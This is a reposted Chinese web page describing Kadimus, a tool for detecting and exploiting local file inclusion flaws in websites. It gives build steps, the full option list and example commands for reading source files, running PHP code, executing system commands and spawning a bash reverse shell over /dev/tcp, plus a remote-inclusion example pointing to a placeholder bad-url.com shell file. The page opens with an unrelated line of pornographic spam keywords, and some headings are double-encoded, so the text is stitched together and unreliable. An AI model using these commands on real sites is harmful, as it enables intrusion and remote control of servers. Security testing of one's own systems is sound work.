日本综合一区二区|亚洲中文天堂综合|日韩欧美自拍一区|男女精品天堂一区|欧美自拍第6页亚洲成人精品一区|亚洲黄色天堂一区二区成人|超碰91偷拍第一页|日韩av夜夜嗨中文字幕|久久蜜综合视频官网|精美人妻一区二区三区

RELATEED CONSULTING
相關(guān)咨詢
選擇下列產(chǎn)品馬上在線溝通
服務(wù)時間:8:30-17:00
你可能遇到了下面的問題
關(guān)閉右側(cè)工具欄

新聞中心

這里有您想知道的互聯(lián)網(wǎng)營銷解決方案
Kadimus:本地文件包含(LFI)漏洞檢測工具

Kadimus是一個用于檢測網(wǎng)站本地文件包含(LFI)漏洞的安全工具。

特性

檢測所有URL參數(shù)
/var/log/auth.log RCE
/proc/self/environ RCE
php://input RCE
data://text RCE
源代碼泄露檢測
多線程掃描
HTTP命令執(zhí)行漏洞
代理支持 (socks4://, socks4a://, socks5:// ,socks5h:// and http://)

編譯

安裝libcurl:

CentOS/Fedora

# yum install libcurl-devel
Debian based
# apt-get install libcurl4-openssl-dev

安裝libpcre:

CentOS/Fedora

# yum install libpcre-devel

Debian based

# apt-get install libpcre3-dev

安裝libssh:

CentOS/Fedora

# yum install libssh-devel

基于Debian

# apt-get install libssh-dev

***執(zhí)行

$ git clone https://github.com/P0cL4bs/Kadimus.git
$ cd Kadimus
$ make

選項

-h, --help                    Display this help menu
  Request:
    -B, --cookie STRING         Set custom HTTP Cookie header
    -A, --user-agent STRING     User-Agent to send to server
    --connect-timeout SECONDS   Maximum time allowed for connection
    --retry-times NUMBER        number of times to retry if connection fails
    --proxy STRING              Proxy to connect, syntax: protocol://hostname:port
  Scanner:
    -u, --url STRING            Single URI to scan
    -U, --url-list FILE         File contains URIs to scan
    -o, --output FILE           File to save output results
    --threads NUMBER            Number of threads (2..1000)
  Explotation:
    -t, --target STRING         Vulnerable Target to exploit
    --injec-at STRING           Parameter name to inject exploit
                                (only need with RCE data and source disclosure)
  RCE:
    -X, --rce-technique=TECH    LFI to RCE technique to use
    -C, --code STRING           Custom PHP code to execute, with php brackets
    -c, --cmd STRING            Execute system command on vulnerable target system
    -s, --shell                 Simple command shell interface through HTTP Request
    -r, --reverse-shell         Try spawn a reverse shell connection.
    -l, --listen NUMBER         port to listen
    -b, --bind-shell            Try connect to a bind-shell
    -i, --connect-to STRING     Ip/Hostname to connect
    -p, --port NUMBER           Port number to connect
    --ssh-port NUMBER           Set the SSH Port to try inject command (Default: 22)
    --ssh-target STRING         Set the SSH Host
    RCE Available techniques
      environ                   Try run PHP Code using /proc/self/environ
      input                     Try run PHP Code using php://input
      auth                      Try run PHP Code using /var/log/auth.log
      data                      Try run PHP Code using data://text
    Source Disclosure:
      -G, --get-source          Try get the source files using filter://
      -f, --filename STRING     Set filename to grab source [REQUIRED]
      -O FILE                   Set output file (Default: stdout)

測試示例

掃描:

./kadimus -u localhost/?pg=contact -A my_user_agent
./kadimus -U url_list.txt --threads 10 --connect-timeout 10 --retry-times 0

獲取文件源碼:

./kadimus -t localhost/?pg=contact -G -f "index.php" -O local_output.php --inject-at pg

執(zhí)行php代碼:

./kadimus -t localhost/?pg=php://input -C '' -X input

命令執(zhí)行:

./kadimus -t localhost/?pg=/var/log/auth.log -X auth -c 'ls -lah' --ssh-target localhost

檢查遠程文件包含(RFI)漏洞:

/* http://bad-url.com/shell.txt */

反彈shell:

./kadimus -t localhost/?pg=contact.php -Xdata --inject-at pg -r -l 12345 -c 'bash -i >& /dev/tcp/127.0.0.1/12345 0>&1' --retry-times 0

網(wǎng)站欄目:Kadimus:本地文件包含(LFI)漏洞檢測工具
網(wǎng)頁網(wǎng)址:http://www.dlmjj.cn/article/dhopjho.html